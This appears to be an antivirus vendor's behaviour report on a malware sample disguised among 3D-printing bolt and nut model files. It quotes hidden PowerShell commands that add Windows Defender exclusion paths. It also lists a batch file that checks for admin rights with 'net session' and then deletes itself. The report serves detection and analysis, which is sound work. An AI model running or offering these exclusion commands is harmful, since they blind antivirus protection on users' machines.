Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process powershell -ArgumentList '-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command ^\"Start-Sleep 1302; Add-MpPreference -ExclusionPath C:\Users\Public; Add-MpPre...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command ^"Start-Sleep 1302; Add-MpPreference -ExclusionPath C:\Users\Public; Add-MpPreference -ExclusionPath $env:ProgramFiles; cd C:\\Us...
Modifies file system
Creates the following files
- <Current directory>\auto14.bat
- <Current directory>\bolt_25x8.stl
- <Current directory>\bolt_25x8_button.stl
- <Current directory>\bolt_25x8_countersunk.stl
- <Current directory>\bolt_25x8_socket.stl
- <Current directory>\nut_6x9.stl
- <Current directory>\nut_job.scad
- <Current directory>\nutjoiner18x9.stl
- <Current directory>\threaded_rod_8x100.stl
- <Current directory>\washer_1_x_8.5.stl
- <Current directory>\wingnut_6x9.stl
- nul
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""<Current directory>\auto14.bat" "
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /c del "<Current directory>\auto14.bat"
